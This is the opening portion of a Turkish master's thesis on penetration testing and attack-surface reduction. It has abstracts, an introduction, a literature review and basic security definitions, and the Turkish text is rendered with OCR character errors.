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OZET

Tevfik Onur ESER
Bilisim Sistemlerinde Si1zma Testleri ve Saldir1 Yiizeylerinin Belirlenmesi
Yiiksek Lisans Tezi
Konya, 2021

Giintimiizde bir¢ok bireysel kullanici, farkli sektdrlerde bulunan biiyiik ve kiigiik 6lgekli
firmalar, kamu sektoriinde bulunan kurum ya da kuruluslar bilgi teknolojileri kullanarak
firmalarina fayda saglamaktadir. Bunun yaninda isletmeler kullanmis olduklart bu
teknolojilerle birlikte bir¢ok risk ve siber saldirilara maruz kalmaktadir. Sistemlerinde yer
alan giivenlik agiklan ile birlikte verilerin disariya sizmasi sonucu birgok zarara sebep
olmaktadir. Bu ylizden sistemlerin siirekli olarak giivenlik agiklarinin taranmasi, sizma
testlerine tabi tutulmasi zorunlu olarak yapilmasi gerekmektedir. Yapilmadig: takdirde
sistemlere zarar verilerek bilgilerin istismar edilmesi s6z konusudur.

Bu tez ¢alismasinda, bu tarz sistemlere yonelik yapilan saldirilara kars1 6nlem olarak
sizma testleri ile birlikte saldir yiizeylerinin belirlenip, bu saldirilara karsi tedbirler
alinarak saldirt ylizeylerini azaltarak alinabilecek giivenlik tedbirlerinden bahsedilmistir.
Bununla birlikte sizma testleri ile farkli kullanici sistemlerinde saldir1 sekilleriyle birlikte
nasil saldirilar yapilabildigi, bu testlerde ag tarama araglari, agik bulma ve web uygulama
araglari, sistem ve sosyal miihendislik saldir1 araclar ile testler yapilmistir. Saldiri
yiizeylerinin belirlenerek dnlemlerin alinmasi bazi saldirilarda ¢ok fazla etkili olmasa da
cogunlukla saldir1 yilizeylerinin azaltilmasi olabilecek veri sizintilarinin 6niine gegmistir.

Anahtar Kelimeler

Sizma testleri, Kirilganlik analizi, Saldir yiizeyi tespiti ve azaltilmasi



ABSTRACT

Tevfik Onur ESER
Penetration Tests In Information Systems and Determining Attacking Surface
Master’s Thesis

Konya, 2021

Nowadays many individual users, medium and large corporate companies get so much
benefits via using information technologies. However, due to using this technological
structure, businesses are exposed to many risks and cyber attacks. This situation may
cause data leakage or other security problems because of the security vulnerabilities. For
this reason, systems should be constantly monitored and necessary security tests should
be executed. Otherwise, users can create security vulnerabilities in regarding system.

In this thesis, it is mentioned about the security measures that can be taken by determining
the attack surfaces together with penetration tests as a precaution against attacks against
such systems, and by reducing the attack surfaces by taking measures against these
attacks. In addition, with penetration tests, how attacks can be carried out on different
user systems with attack types, network scanning tools, vulnerability and web application
tools, system and social engineering attack tools were tested in these tests. Although
taking precautions by determining the attack surfaces is not very effective in some attacks,
data leaks that may be mostly reduced attack surfaces have been prevented.

Keywords

Penetration tests, Vulnurability Analysis, Attacking Surface Detection and Reduction
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1. GIRIS

Bilisim, insanlarin teknik, ekonomik ve toplumsal iletisimde kullandigi ve bilimin
dayanagi olan bilginin, diizenli ve akla uygun bir bicimde, ozellikle bilgisayarlar ve
benzeri elektronik aygitlar araciligiyla islenmesi bilimine denilmektedir. Biligim sistemi
ise yoneticinin karar vermesi i¢in gerekli bilgiyi raporlayan formal bir bilgi sistemi olarak
tanimlanir(Tekin, Giiles ve Burgess,2009:82). Formal bilgi sistemleri, bilgisayar destekli
olabilecegi gibi kagit-kalem kullanilarak olusturulan manuel teknoloji seklinde de
olabilir. Bilisim sistemlerinin ¢iktis1 olan bilgi iiretimi i¢in, genellikle bilgisayar
kullanimi s6z konusu ise bu girdilere yazilim da eklenebilir. Donanim ve personelden
olusan iki 6nemli girdi unsuruna ihtiyag¢ vardir. Sistemle ilgili degerlendirmeler bu iki ana
parca ve onlar lizerinde meydana gelen degisimin incelenmesi yoluyla
yapilir(Gurbaxani,2000:166). Bu arada bilisim sisteminin temel dayanagini olusturan
bilgilerin, belirli bir takim 6zelliklere sahip olma gerekliligi higbir zaman gbz ardi
edilmemelidir. Bilginin degerini belirleyen temel nitelikler; dogruluk, noksansizlik,

zamanlilik, uygunluk, yerindelik ve ucuzluktur.

Bilisim sistemleri ile; bilginin toplanmasi, saklanmasi, islenmesi, erisilmesi ve
dagitilmasina hizmet eden teknolojiler (bilgisayar, veri depolama araglari, ag ve iletisim
araclari, yazilim ve gelistirme araclari), uygulama ve hizmetlerin (bilgi islem, uygulama
yazilimi gelistirme, bilgi bankalar1 ve bilgi erisim hizmetleri vb.) biitiinii ve sistem
tizerindeki bilgilerin tiimii kastedilmektedir(Sarithan,1998). Bilindigi gibi bilgi, kisisel ve
orgilitsel kararlarin temelini olusturur. Ciinkii kisisel ve orgiitsel hedeflere ulasmak igin,
organizasyonun her asamasinda bilgiye ihtiya¢ duyulsa da her bilgi kullanicisinin bilgi

ihtiyaci birbirinden farklilik gosterir(Curtis,1994:45).

21. ylzyilda devletler, sirketler, kurumlar, toplumlar ve bireylerin tamaminin ortak
bileskesi bilgi ¢aginda yasiyor olmalar1 ve bilgi ¢aginin gereklerine ayak uydurma
zorunda olmalaridir. Uretim, hizmet veya tiiketim siirecinde, bilgi en degerli ve en
vazgecilmez rekabet ve basar1 unsuru haline gelmistir. Ayn1 zamanda, her tiirlii 6rgiitsel
yapilanmada, is siirecinde ve kurumda veya sirkette; ilgili her tiirli is siirecinde mutlaka
bilgi ilintili isler, pargalar ve unsurlar da vazgeg¢ilmez bir bigimde yer almaktadir. Bu

kadar vazgecilmez ve degerli bir unsur olan bilginin giivenligi ve giivenilirligi de, artik



yadsinamaz bir kavram olarak karsimiza ¢ikmaktadir. Isin niteligi veya siirecin yapisi ne
olursa olsun, teknoloji baglantili olmayan siireclerin yonetiminde bile, bilgi giivenliginin
de etkin, siirekli ve basaril1 bir sekilde saglanarak yonetilmesi ¢cok 6nemli bir gereksinim
olmaktadir. Islerin ve siireclerin saglikli yonetimi ayn1 zamanda ilgili bilgi giivenligi
stireclerinin de saglikli yonetimini zorunlu kilmaktadir. Bilgi giivenligi stratejileri ve
bunlar1 yonetecek uygun yontemleri olmayan kurumlar, sadece gilivenlik agisindan degil,
operasyonel ve diger her tiirlii is siire¢lerinin yonetimi agisindan da ciddi sikintilar, maddi

ve manevi kayiplarla yiizlesmektedir(Tipton ve Krause,2007).

Is hayatimizda kullandigimiz, is geregi bizimle paylasilan, ¢alismalarimizla, tiirlii
deneyimlerle elde ettigimiz her bilgi degerlidir ve Ozeldir. Giiniimiizde bilgisayar
ortamlarinda her tiirlii degerli bilgi tutulmaktadir. Internet ve bilgi iletisim teknolojileri;
banka, aligveris, eglence alanlarinda yaygin olarak kullanilmaktadir. Giiniimiizde bir
ilkokul 6grencisi de bir emekli de internet kullanicisi olmustur. Bilgi giivenligi, her
organizasyonun siirekliligini saglamasinda biiyilk 6nem tasir ve organizasyonun basta
elektronik olmak tizere, ¢esitli ortamlardaki kritik bilgilerinin ve diger bilgi varliklarinin
korunmasimi saglar. Sadece biiyiik sirketler, holdingler degil bunun yan1 sira KOBI’ler,
devlet kurumlari veya kar amaci giitmeyen Sivil Toplum Kuruluslari, okul, vb. de bilgi
giivenligi sorunlart ve risklerini farkli diizeylerde de olsa siirekli yasamaktadir. Bu
gercek, diinya genelinde oldugu gibi lilkemizde de siirekli artan boyutlarda ortaya konan
bir gergek haline gelmektedir(Mitnick ve Simon,2005).

CSI ve FBI kurumlarinin 2008 yilinda ortak yaptiklar1 bir ¢alismanin sonuglarina gore;
ABD’deki 522 kurumun (devlet veya 6zel sektdr) %49 unda viriis, truva ati, solucan, vb
zararl kod saldiris1 yasanmis, %42’°sinde diziistii bilgisayar, cep bilgisayari, vb mobil
cihazlardan veriler galinmis, %44’iinde sirket ¢alisanlari yetki erisimlerini suistimal etmis
ve bir yil igerisinde bu 522 kurumun toplam maddi kaybi 156 Milyon ABD Dolar
olmustur. Bilisim suglularinin degerli bilgi iceren bilyiik firmalara saldir1 olasilig1 son
yillarda ¢ok daha fazla olmaktadir ve yapilan arastirmalar sonucu elde edilen istatistiksel
veriler de bu savi desteklemektedir(Richardson,2008). Diinya genelinde yapilan bir bagka
aragtirma raporunda; 2008 yili boyunca yeni tehditlerin yayilmasi ve amacina
ulagsmasinda internet ortami ve web sitelerinin yine ana kaynak olarak kullanildigini

ozellikle vurgulanmistir. Aymi1 ¢aligmada, saldirganlarin bu tehditleri gelistirirken ve



kullanicilara yoneltirken eskisine oranla ¢ok daha fazla “kisiye 6zel” zararlt kod
aktiviteleri diizenlediklerinin de alt1 ¢izilmektedir. 2008 y1l1 boyunca Symantec firmasi
tarafindan saptanan tiim saldirilarin neredeyse %90°1, kullaniciya ait kritik bilgilerin
calinmasi amacini tagimaktadir. Klavye tus basimlarinin kaydedilmesi yolu ile ¢evrim igi
banka hesap bilgileri gibi kritik bilgilerin ¢alinmasina yonelik aktiviteler, saldirilarin
%76’sim1 olusturmaktadir ki bu oran, 2007 yilinda %72 olarak saptanan oranla

kiyaslandiginda, bir senede yasanan artisi a¢ik¢a ortaya koymaktadir(Symantec,2009).

Gelecege yonelik diisiindiigiimiizde bir¢ok devlet kurumu, elektrik kontrol altyapilari,
dogalgaz dagitim kontrol merkezleri, barajlar, ugaklarin kontrol merkezleri, bankacilik
sistemleri gibi internet {izerinden kontrol edildigi bir donemde devletlerin olusturdugu
siber ordulari ile bu saldirilar ile savaslar ¢ikabilecegini ongdrerek biitiin kurumlarin,
firmalarin sizma testlerini yaptirarak sistem eksiklerinin ¢oziilmesi, sistemlerin
aciklarinin tespit etmesi her bir kurulus i¢in biiyiik 6nem tasimaktadir. Sizma testleri
belirlenen bilisim sistemlerindeki mantik hatalar1 ve zafiyetleri tespit ederek, s6z konusu
giivenlik acikliklarmin kotli niyetli kisiler tarafindan istismar edilmesini dnlemek ve
sistemleri daha giivenli hale getirmek maksadiyla, “yetkili” kisiler tarafindan ve “yasal”
olarak gergeklestirilen gilivenlik testleridir. Sizma testi calismalarindaki asil amag,
zafiyeti tespit etmekten ote ilgili zafiyeti sisteme zarar vermeyecek sekilde istismar etmek

ve yetkili erisimler elde etmektir(Bga Security,2019).

Ag ve sistemlerin, kotii niyetli kullanicilardan korunmasi igin giivenlik uzmanlar
tarafindan sizma testi yapilarak sistem agiklari tespit edilir ve glivenlik uzmanlari, sistem
ve yazilim uzmanlar tarafindan agiklarin kontrollii olarak kapatilmasi saglanmalidir.
Sizma testi denildiginde kisaca sistemde olan donanim ve yazilim agikliklarin belirlenip
raporlar olusturulmasina saglamak amaciyla planlanmis saldirili simiilasyonu da

denilebilir.

Bu tez caligmasimin bilisim baglikli béliimiinde; Bilisimin tanimi yapilmis, bilisim
giivenligi ve 6zelliklerinden bahsedilmis, bilisim sistemleri sizma iglemleri genel baslikla
anlatilmistir. Sonrasinda; Bilisim Sistemlerinde Sizma Testleri baslikli boliimde
sistemlere c¢esitli saldirilar diizenlenerek, belirli yazilim ve araglarla sizma testleri

yapilmistir. Calismanin Saldir1 Yiizeyi Belirlenmesi Ve Azaltilmasi baslikli béliimde ise



cesitli saldirilarda saldir1 ylizeylerinin belirlenip, yiizeylerin azaltilmasi i¢in alinmasi

gereken Onlemler anlatilmistir.



2. LITERATUR TARAMASI

Son yillarda siber saldirilarin ¢oklugu sebebiyle sizma testleri ile ilgili aragtirmalar ile
birlikte bir¢ok makale ve kitap yaymlanmustir. Saldir1 g¢esitlerinin farkli olmasi ve her
gecen zamanda farkli saldirt ¢esitlerin artmasi ve veri giivenliginin saglama tekniklerinin
stirekli degismesi bu tekniklerin de gilincel tutulmasi sonucu yayinlarin gesitliligi

artmaktadir.

Jeremy Faircloth 2005 yilinda yapmis oldugu ¢alismada sizma testini bir bilim oldugu
kadar bir sanat olarakta kabul etmektedir, hatta bir sanat¢imin iyi is yapmak i¢in dogru
fircalara ihtiyact oldugunu savunur. Bu yilizden sizma testi gerc¢eklestirmek i¢in birgok
ticari ve acik kaynak araci kullanilmaktadir. Ancak hangi araglarin mevcut oldugu ve
belirli testler i¢in genellikle hangi araglarin kullanilacaginin tespiti zordur. Penetrasyon
test araci olarak kullanabileceginiz agik kaynak araglarinin bollugu, bunlarin nasil
kullanilacag1 ve hangi durumlarda uygulanacagi arastirilip kesif nasil yapilacagi, tarama
ve numaralandirma kisimlarinin olusturulmasi, kullanici tarafi saldirilar ile kisilerin hata
ile olusturduklar1 sistem agikliklari, veri tabani hizmetlerine sizma iglemleri, wireless
sizma testleri gibi birgok sizma testlerini araglar kullanarak, denemeler yaparak bu

yayinda bize yardimci olacaktir(Fairclot,2015).

Pratyusa K. Manadhata Kymie M. C. Tan Roy A. Maxion Jeannette M. Wing birlikte
yazdiklar1 2007 yilindaki makalede, yazilim sisteminin saldir1 ylizeyinin oOl¢iisiinii
sistemin giivenliginin bir gostergesi olarak belirtmesi, sezgisel olarak, bir sistemin saldir1
yiizeyi, bir dligmanin sisteme girebildigi ve potansiyel olarak hasara yol acabilecegi yollar
kiimesidir. Bu nedenle saldir yiizeyi ne kadar biiyiikse, sistem o kadar giivensiz olur. Bir
yazilim sisteminin saldir1 yilizeyine gore benzer bir sistemden daha giivenli olup
olmadigini belirlemek i¢in bir metrik 6nermektedirler. Sistemin saldir1 yiizeyi dl¢iimlerini
sistemin glivenliginin bir gostergesi olarak kullanmiglar ve saldir1 yiizeyi ne kadar
biiyiikse, sistem o kadar giivensiz olur. Bir sistemin saldir1 yiizeyini, sisteme yapilan
saldirilarda kullanilan tg¢ tiir kaynak agisindan olgmektedirler. Bunlar; yontemler,
kanallar ve verilerdir. Iki acik kaynak IMAP sunucusunun ve iki FTP daemon’un saldir
yiizeylerini dlgerek saldirt yiizey 6l¢iimiintin kullanimini1 géstermektedir. Uzman kigiler

tarafindan bir kullanici anketi yapilarak ve Microsoft Giivenlik Biiltenlerinin istatistiksel



analizini saldir1 ylizey Ol¢limiiniin dogrulanmasini tespit edilmistir. Yapilan metrik
yazilim gelistirme siirecinde yazilim gelistiricileri tarafindan bir arag¢ olarak

kullanilabilmektedir(Pratyusa, Kymie,Roy ve Jeannette,2004)

Pratyusa Manadhata Jeannette M. Wing makalelerinde (2004), bir saldir1 yiizeyini,
sistemin kullanicilari tarafindan disaridan goriilebilen eylemleri ve her eylemin erisebilen
veya degistirilebilen sistem kaynaklar1 agisindan tanimlanir. Metrigi uygulamak igin,
olas1 tlim sistem kaynaklarini1 dikkate almak yerine, saldir1 siiflar1 dedigimiz kaynak
tiirlerinin “alakali” alt kiimesine odaklanilmis; bunlar, saldirinin hedefi olma olasilig1
daha yiiksek olan sistem kaynaklarinin tiirlerini yansitmaktadir. Saldir1 olasiliklarini
temsil etmek i¢in siniflara saldir1 i¢in sonuglar atanmis; biiyiik sonuglara sahip bir saldir1
siifindaki kaynaklarin, diigiik sonu¢ degerine sahip bir saldir1 sinifindaki kaynaklardan
daha ¢ok saldirinin hedefi veya destek¢isi olma olasiligi daha yiliksek oldugu sonucuna
varmiglardir. Saldir1 siniflarin1 tanimlamak ve bir sistemin saldir1 ylizeyini 6l¢mek i¢in

bir yontem belirlemislerdir(Pratyusa ve Jeannette,2004)

Gilberto Najera-Gutierrez ve Juned Ahmed Ansari yapmis oldugu (2018) ¢alismada, web
uygulamalar1 ve penetrasyon testinin temel kavramlarindan, metodolojideki her asamayi
kapsayacak sekilde bilgi edinmeden olasi zayif noktalari belirlemeye ve giivenlik
aciklarindan yararlanmaya kadar agiklamalar yapmislardir. Bir penetrasyon test edenin
onemli bir gorevi, bir giivenlik acigim1 bulup dogruladiklarinda, gelistiricilere bu tiir
kusurlar1 nasil diizeltecekleri ve bunlarin tekrarlanmasini nasil 6nleyecekleri konusunda
tavsiyelerde bulunmasi gerekir. Bu nedenle, calismalarinda giivenlik agiklarinin
tanimlanmasi i¢in ayrilmig tiim boliimlerde bu tiir saldirilarin her birinin nasil dnlenilip
azaltilinincaya kadar stirecegini kapsayan bir boliim de icermektedir. Web uygulamalari
icin penetrasyon testinde otomatik giivenlik a¢igi tarayicilariin kullanimini, tiretim
ortamlarini test ederken otomatik araglarin kullanimindan kaynaklanan riskleri ve bunlari
kullanmadan 6nce dikkate alinmasi gereken hususlardan bahsedilmistir. Nikto, Skipfish,
Wapiti ve OWASP-ZAP gibi Kali Linux’ta yer alan tarayicilarin bazilarinin kullanmis
olup WordPress, Joomla ve Drupal gibi Igerik Yonetim Sistemleri i¢in dzel tarayicilar
hakkinda bilgi paylasimi yapilmistir. Taramadan ayr1 bir teknik olarak bulaniklama
konusunu ele almislardir. OWASP-ZAP fuzzer ve Burp Intruder’: tek bir giris tizerinden
birden fazla girisi test ederek tarama islemleri gerceklestirmislerdir(Gutierrez ve

Ansari,2018).



Ekin Can Ufuktepe ve Tugkan Tuglular yazmis oldugu (2014) makalede, XSS, SQL
Injection, OS Command Injection, Input Validation, Path traversal yazilim zafiyetleri
secilmistir. Zafiyetlerin aga¢ yapis1 siniflandirilarak girdi dogrulama zafiyetlerinin karar

agaci olusturulmustur(Ufuktepe ve Tuglular,2014).

Peter Kim tarafindan yapilan (2018) ¢alismada, tiim yeni giivenlik agiklarina genel bir
degerlendirme yapilmistir. Yeni ¢ikmis saldir1 ve giivenlik teknikleri konusunda bilgiler
aktarmigtir. Bazilart sunlardir: Aktif dizini kotiiye kullanma, Kerberos'u iletisim kurali
sinama, gelismis web saldirilari, veri aktariminin giivenli yollari, bulut giivenlik agiklari,
hizli/akilli parola kirma, hareket saldirilari, yeni ¢ikan web dillerinin giivenlik durumlari.
Aciklari, fiziksel saldirilar, ayricalik yiikseltme, PowerShell saldirilari, Ransomware
saldirilar, penetrasyon testi, altyapinizi ayarlama, Malware yazma hakkinda
degerlendirmelerde bulunmustur. Ayni1 zamanda yeni saldirilar i¢in yeni ipuglar1 ve
penetrasyon testi piif noktalar: ile birlikte saldirilar test etmek igin laboratuvar ortami

kurmak i¢in icerikleri kitapta anlatmistir(Kim,2018).

Hardeep Singh yapmis oldugu (2017) ¢alismada, milyonlarca insani ilgilendiren Wireless
sizma testleri konusunda Kali Linux araciligi ile kablosuz aglarla ilgili giivensizliklerin
ve tedbirlerin derinliginin alisilmasina yardimci olmayi ve bunlar {izerinde sizma testleri

yaparak sistem giivenirligini 6lgme ¢alismalar1 yapmustir (Singh,2017)s.

Thomas Wilhelm yazmis oldugu kitapta sizma testlerine baglarken nelere dikkat edilmesi
gerektigi, hangi kaynaklardan bilgi alip rehber olarak faydalanabilecegi ve ISSAF (Bilgi
Sistemi Giivenlik Degerlendirme Cergevesi ) hakkinda bilgiler vermektedir. Sizma
testlerini laboratuvar ortaminda grup calismasi ile gorev dagiliminin belirlenmesi
konusunda bdliimlere ayirmistir. Hedef sistemlerde ne tiir giivenlik agiklarinin
bulundugunu anlamak i¢in tarama islemleri 6rnekleri yaparak hangi hizmetlerin sunucu
ve uygulama siirimii bilgilerini ve bu bilgilere ulasildiktan sonra sistemi savunmasiz
birakma tekniklerini ayrintili bir sekilde gostermis ve Wireshark gibi agik kaynakli paket
¢Oziimleyicisi gibi uygulamalar ile ag trafigini izleyerek ¢6ziim yollarindan bahsetmistir.
Yerel ag saldirilar konusunda Bind Shell ve Reverse Shell, giivenlik duvarlari arkasindan
bilgisayarlarin ele gecirme yollarini arastirip, saldirilarin saldir1 ylizeylerini azaltma
konusunda c¢esitli testler yapmistir. Uzak ve yerel sistemlerde sifre saldirilar1 ve sosyal

mithendislik dahil olmak iizere giinlilk verilerde degisiklik yaparak ve dosyalari



gizleyerek bu ayricaliklarimizi nasil koruyabilecegimizi aciklamistir. Diinyada en
popiiler olan saldiri tiirlerinden (Sql ve Xss saldirilar1) ve Web Sizma Testleri konusunda
bir¢ok arag¢ kullanilarak (Burp studio,Owasp Saldir1 Yiizeyi Tespiti) aciklarin tespiti ve
kapatilmasi yoniinde bilgileri kitabinda ac¢iklamistir(Wilhelm,2013).

Micheal Howard,Jeannette M.Wing,Jon Pincus tarafindan yapilan (2015) ¢alismada, bir
sistemin bir siirlimiiniin sabit bir boyut kiimesine gore digerinden daha giivenli olup
olmadigini belirlemek i¢in metrikler olusturmuslardir. Hatalarin1 kod diizeyinde saymak
veya sistem diizeyinde giivenlik ag¢ig1 raporlarini saymak yerine, bir sistemin saldiri
olasiliklarini1 belirlemektedirler. Bu olasilik sayilari, sistemin basaril bir sekilde saldiriya
ugrayacagi ihtimalinin bir gostergesi olarak kullanilmaktadir. Bir sistemin saldir1 yiizeyi
ic soyut boyut ile tanimlanarak, hedefler ve etkinlestiriciler, kanallar ve protokoller ve
erisim haklart ile agiklanmustir. Sezgisel olarak, sistemin ylizeyi ne kadar ¢ok saldiriya
maruz kaldiysa, saldir1 firsatlar1 da o kadar artar. Bu nedenle saldirinin hedefi olma
olasilig1 da o kadar artmaktadir. Bu ylizden sistem giivenligini artirmanin bir yolunun

saldir1 yiizeyini azaltmak oldugu belirlenmistir(Howard,Pincus ve Wing,2015).

Onder Sahinaslan, Mesut Razbonyal1, Ender Sahinaslan yapmis oldugu (2019) calismada
diinyada kabul gormiis standartlara dayali bir ag giivenliginde izlenilebilecek siiregler bir
yasam dongiisii olusturmaktadir. Bu ¢alisma, ag giivenligini yasayan ve siirekli gelisen
bir dongii olarak tasarlanmistir. Dongiide olmasi gereken basliklar belirtilmis ve bunlara
ait belli donemlerde yapilmasi gereken giivenlik testinin sekli  Gzetle

anlatilmistir(Sahinaslan,Razbonyali ve Sahinaslan,2019).



3. BILISIM

Bilisim, insanlarin teknik, ekonomik ve iletisimde kullandig1 ve bilimin dayanagi olan
bilginin, diizenli ve akla uygun bir bi¢imde, 6zellikle bilgisayarlar ve benzeri elektronik
aygitlar araciligiyla islenmesi bilimidir. Bilisimin iki 6nemli kavrami ise bilgi ve

teknolojidir.

Bilgiden bahsedecek olursak; insan aklinin alabilecegi ger¢ek olgular ile gézlem ve
ogrenme yetisiyle elde edilen her seydir. Bilginin sinir1 olmadig: gibi siirekli yenilenebilir
ve Ogrenebiliriz. Teknoloji ise her saniye degisen ve gelisen, hayatimizin vazgegilmezi
olan giicii ve bilgiyi biriktirme, denetleme, isleme, iletme gibi amagclarla olusturulan
bir¢ok arag, makina ve gereglerin uygulama bilgisidir. Bu iki kavramin biitiinlesmesi ile
bilisim meydana gelmektedir. Bilgi var olup teknoloji gelistikge bu birikim gelismesini

saglamaktadir.

Bilisimin alanlarindan bahsedecek olursak, kuramsal bilisim, hesaplama kuramu, bilgi ve
kodlama kurami, algoritmalar ve veri yapilari, programlama dili kurami, bigimsel
yontemler, veri tabanlar1 ve bilgi erisimi, yapay zeka, bilgisayar mimarisi, bilgisayar
giivenligi, bilgi bilimi, yazilim miihendisligi gibi alanlar1 hayatimiz her aninda sik

kullanmaktayiz(Bilisim Diinyas1,2019).

3.1 Bilisim Giivenligi

Bir varlik tiirii olarak bilginin izinsiz veya yetkisiz bir bi¢cimde erisimi, kullanimi,
degistirilme, ifsa edilme, ortadan kaldirilma, el degistirme ve hasar verilmesini 6nlemek
olarak tanimlanir ve “gizlilik”, “biitiinliikk” ve “erisilebilirlik” olarak isimlendirilen ii¢
temel unsurdan meydana gelir. Bu ii¢ temel giivenlik 6gesinden herhangi biri zarar

goriirse, bilisim giivenlik zafiyeti olusur.

Bilisim sistemlerine ve verilerine yonelik saldirilar, 1975 yilinda Creeper Viriisi ile
gecmis yillarin interneti dedigimiz Arpanet lizerinde Tenex isletim sistemi yoluyla
yayilan modemlerin diger bilgisayarlara baglanarak gerceklesmistir. 1981 yilinda Elk
Cloner adi altinda, 15 yasindaki Rich Skrenta tarafindan yazildi. Skrenta, viriisii Apple



I’ deki Dos 3.3 isletim sistemi i¢in yazdi ve disketler aracilifiyla dagitti. Viriis, zarar

amacl olmayip saka amaci tasimaktaydi.

1990’1 yillarda yasanan hizli teknolojik gelismelerin bir sonucu olarak bilgisayarlar,
modern hayatin her alanina girmis ve vazgeg¢ilmez bir bi¢imde kullanilmaya baslanmistir.
Teknolojideki bu gelismeler, bilgisayar aglarini ve sistemlerini, ayn1 zamanda, bir saldir1
araci haline, kullandigimiz sistemleri de agik birer hedef haline getirmistir. Bilisim
sistemlerine ve bu sistemler tarafindan islenen verilere yonelik giivenlik ihlalleri

inanilmaz bir hizla artmaktadir.

Bilisim Giivenligi, bilisimin olusturmus oldugu bilesenleri ile bu bilesenlere kars
islenmekte olan verilerin gizliligini, birlestiriciligini ve devamlilifin1 amaglayan bir

zorunluluktur.

Bilgi giivenliginin temel amaclar1 genellikle CIA fg¢liisii olarak adlandirilan ti¢ kiiresel
madde ile 6zetlenir: Gizlilik (confidentiality), biitiinliik (integrity) ve kullanilabilirlik
(availability). CIA igliisii artik neredeyse tamamen bilgi giivenligi tarafindan talep
edilmekle birlikte, asirlardir giivenlik gii¢leri ve askeri baglamlarda temel kavramlar
etkili olmustur. Bilgi giivenligini CIA iclii prensiplerini kullanarak ve kavrami bir
kurumun genel giivenligine uygulayarak analiz ediyor ve uyguluyoruz. Gizlilikle ilgili
planlama ihtiyaglar etkin bilgi glivenligi ile sonra biitiinliigli 6nleme konusunda agiklig
korumaya yonelik ana planlanan model olarak belirlenmektedir.

* Gizlilik, bilginin yalmizca gorme hakki olan kisiler tarafindan erisilebilir
olmasini saglamak anlamina gelmektedir.

* Biitiinliik, bilgilerin saglam ve degistirilmemis kalmasin1 gerektirir.

« Kullanilabilirlik, bilgiye erisme hakki olan kisilerin ihtiya¢ duyduklarinda
bilgiye erisebilecegini gosterir. Temel olarak kullanilabilirlik, higbir seyin bilgiye yasal

ve zamaninda erisimi engelleyemeyecegi anlamina gelmektedir(Cabric,2015).

3.1.1 Bilisim Giivenligi Tanimlamalar1 ve Temel Ag Terimleri

Hacker: Hacker terimi, tarihsel olarak, bazen yiiksek derecede beceri sergileyen ve teknik

sorunlara yaklasiminda yaraticilik sergileyen bir kisi icin hayranlik ifadesi olarak
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kullanilan, béliicii bir terim olmustur. Bununla birlikte, terim bu beceriyi yasadisi veya
etik olmayan amaglarla kullanan bir kisiye daha yaygin olarak uygulanmaktadir.
Gtivenlik toplulugu, genellikle {i¢ tiire ayrilan farkli hacker tiirlerinin tanimlanmasinin bir
yolu olarak sapka rengine yapilan referanslari resmi olarak kullanmistir: Bunlar beyaz
sapka, siyah sapka ve gri sapka.

Beyaz Sapkali Hacker: Etik hackerlar olarak da bilinen beyaz sapka hackerlari, kargasa
yaratmaktan ziyade halkin ¢ikarina ¢alismak i¢in ¢abalar. Bir¢ok beyaz sapka hackerlari,
giivenlik agiklarini bulmak ve raporlamak i¢in sirketin aglarina girmeyi denemek i¢in ise
girig testi yaparak c¢aligir. Giivenlik firmalar1 daha sonra, suglu bilgisayar korsanlarinin
bunlardan yararlanabilmesi i¢in miisterilerinin giivenlik sorunlarim1 azaltmalarina

yardimct olur.

Siyah Sapkali Hacker: Siyah sapka hackerlar, verileri calmak, fidye yazilimlarindan veya
fidye yazilimlarindan kar elde etmek, sistemlere zarar vermek veya baska sekillerde zarar
ugratarak kotii niyetli aglara ve sistemlere kasitli olarak yetkisiz erisim elde eder. Siyah
sapka hackerlar1 tanim geregi sugludur, ¢iinkii yetkisiz sistemlere erisim yasalarini ihlal
ederler, ancak kimlik hirsizlig1 ve dagitilmis hizmet reddi saldirilar: da dahil olmak iizere

baska yasadisi faaliyetlerde bulunabilirler.

Gri Sapkali Hacker: Gri sapka hackerlar beyaz sapka korsanlari ve siyah sapka korsanlari
arasinda bir yere diiser. Gorevleri beyaz sapka hackerlarina benzer olsa da, gri sapkalarin
beyaz sapka korsanlarindan yetkisiz olarak sistemlere erisme olasili§i daha yiiksektir;
ayni zamanda, hackledikleri sistemlere gereksiz zarar vermekten kaginmalari siyah sapka
hackerlarindan daha olasidir. Normalde veya sadece parayla motive edilmemelerine
ragmen, gri sapka korsanlari, bilgilerini yasadist kar icin giivenlik agiklarindan
yararlanmak icin kendi yetkisiz faaliyetleri yoluyla kesfettikleri giivenlik aciklarini
diizeltmeyi 6nerebilirler(Rouse,2019).

Vulnerability(agik): Giivenlik agigi, bir u¢ nokta veya ag igin giivenlik agisindan
potansiyel bir giivenlik ihlali olusturan kod veya tasarimdaki bir kusurdur. Giivenlik
aciklari, davetsiz misafirlerin kod calistirabilecegi veya bir hedef sistemin bellegine
erisebilecegi olas1 saldir1 vektorleri olusturur. Giivenlik agiklarindan yararlanma
yontemleri ¢esitlidir, kod yerlestirme ve arabellek tasmalari; bilgisayar korsanligi komut

dosyalari, uygulamalar ve serbest el kodlamasi ile gergeklestirilebilir(Rouse,2019).
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Risk: Bilgi gilivenligi riskine 6nemli bir katkida bulunan bilgi teknolojisi riskinin
Olciilmesi, bircok kurulus i¢in hala sorun teskil etmektedir. Ayrica, mevcut bilgi
teknolojisi risk dl¢iimleri stratejik giivenlik riski gostergelerinden ziyade taktiklere isaret
etmektedir. Bilgi giivenligi teknolojisi ¢Oziimlerinden elde edilen verilerin bollugu

aslinda risk degerlendirmelerini zorlagtirabilir.

Istismar (Exploit): Yazilim ve aglar, istenmeyen misafirlerin iceri gizlice girmesini
engelleyen gomiilii giivenlik duvari ile birlikte gelir. Bir giivenlik ag¢igi, bir hirsizin
tirmanabilecegi agik bir pencere gibidir. Bir bilgisayar veya agda, hirsizlar sistemi kontrol
etmek i¢in bu giivenlik agiklarindan kotii amagh yazilim yiikleyebilirler. Genellikle, bu
kullanicinin bilgisi olmadan gergeklesir(Avast Team Academy,2019).

Exploitler kendi igerisinde 2’ye ayrilirlar;

Local ve Remote Exploit: Local saldirilar da en ¢ok tercih edilen saldir1 sekli olup daha

etkili ve siddetlidir. Remote ise disaridan yapilan belli belirsiz saldirt tiirtidiir.

Payload (Yiiklenici): Veri transferi ger¢eklesirken kullanicinin dikkatini ¢ekecek yani
verinin kullaniciya ise yaramasi gereken kismi ifade etmektedir. Benzetmeyle
aciklayacak olursak bize gonderilen mektubun zarf igerisinde gelmektedir. Bizim i¢in
onemli olan zarfin igindeki mektuptur. Tabi ki bize iletilmesi i¢in mektubun 6ncelikle bir
